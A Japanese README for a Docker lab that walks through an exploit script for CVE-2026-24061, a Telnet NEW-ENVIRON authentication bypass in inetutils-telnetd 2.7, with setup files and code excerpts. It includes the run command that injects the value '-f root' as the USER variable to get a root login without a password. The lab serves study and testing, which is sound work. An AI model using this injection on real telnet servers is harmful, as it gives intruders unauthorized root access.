Telnet プロトコルネゴシエーションを実験するための軽量 Docker ラボです。CVE-2026-24061 エクスプロイトで説明されており、NEW-ENVIRON オプションを使用した自動ユーザー名インジェクションが含まれています。
このプロジェクトは、Telnet が環境ベースの認証バイパスをどのように処理するかを研究するための、分離されたクライアント・サーバー環境を作成します。
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| コンテナ | 役割 |
|---|
| node1 | 自動ログインスクリプト付き Python クライアント |
| node2 | Telnet サーバー (inetutils-telnetd 2.7) |
両サービスは、labnet という名前のプライベート Docker ブリッジネットワーク内で実行されます。
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
このファイルは、node1 という名前のクライアントコンテナのインストールを担当します。
このラボの目的はネットワーク通信のみであるため、ベースイメージとして python:3.12-slim を選択しました。telnet クライアント自体のみをインストールし、exploit.py をコンテナのルートフォルダにコピーします。
このファイルは、node2 という名前のサーバーコンテナのインストールを担当します。
このコンテナにも同じベースイメージが適用されます。ただし、インストールプロセスにはより多くの手順が含まれます:
wget をインストールする必要があります。apt get install -y を使用してインストールしましょう。/etc/inetd.conf に追記された行により、telnet サービスが有効になります。ファイルの先頭に、いくつかの定数が宣言されています:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
値が 255 の IAC は、Interpret As Command を意味し、Telnet 制御シーケンスの開始を示します。
さらに詳細なオプションはこちらで確認できます。
形式は通常次のようになります:
IAC <command> <option>
スクリプトには、次の部分があります:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
この if は、サーバーから現在受信したデータに IAC 値が含まれている場合、それをコマンドとして解釈する必要があることをチェックします。
while ループを使用して受信データを処理します。各バイトが IAC であるかどうかをチェックします。
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
その場合、cmd と opt 変数にデータストリームの対応するバイトを割り当てます。
opt 値が NEW_ENVIRON の値と等しい場合、スクリプトは send_new_environ_user メソッドを実行します。
次のコード部分を確認しましょう:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB と SE は Telnet プロトコルの定数の一部です。SB は「Subnegotiation begin」を意味し、SE は「Subnegotiation end」を意味します。これらの2つの値の間にあるものはすべて、サーバーに送信される特定のコマンドに関連する設定です。この場合、rfc1572 標準を使用してメッセージを送信したいのですが、詳細はこちらにあります。
バイトシーケンスは、おおまかに日本語に翻訳すると次のようになります:
- これをコマンドとして解釈する (IAC)
- これは (0)
- 新しい環境変数 (NEW_ENVIRON)
- この新しい環境変数の値は (b"USER" + bytes([ENV_VALUE]) + username.encode())
- サブ接続を終了する (IAC + SE)
ただし、対象の Telnet サーバーがユーザー名に関連する環境変数をサポートしていない場合があります。この場合、従来の方法でユーザー名を送信するフォールバックを行います。
インストールの確認:
docker --version
docker compose version
docker compose up --build -d
ステータスの確認:
docker ps
次のものが表示されるはずです:
node1node2docker exec -it node1 bash
ユーザー名を設定し、スクリプトを実行します:
USER="-f root" python exploit.py node2
スクリプトは次のことを行います:
node2 に接続USER=-f root を送信labnet| ホスト名 | サービス |
|---|---|
| node1 | クライアント |
| node2 | Telnet サーバー |
クライアントスクリプト:
IAC、DO、WILL を処理します。これらは、クライアントとサーバー間のオプションネゴシエーションに使用される基本的な Telnet プロトコルコマンドです。NEW-ENVIRON リクエストに応答USER=<$USER の値>
login: または username: プロンプトを検出環境を停止:
docker compose down
コンテナとイメージも削除する場合:
docker compose down --rmi all
Telnet はデータを平文で送信するため、安全ではありません。 このプロジェクトは、分離された環境内での教育目的のみを意図しています。
接続拒否
コンテナが実行されていることを確認:
docker ps
スクリプトが USER エラーで終了する
USER="-f root" python exploit.py node2
変更後の再ビルド
docker compose up --build
このリポジトリは教育および研究目的で提供されています。 貢献と改善を歓迎します。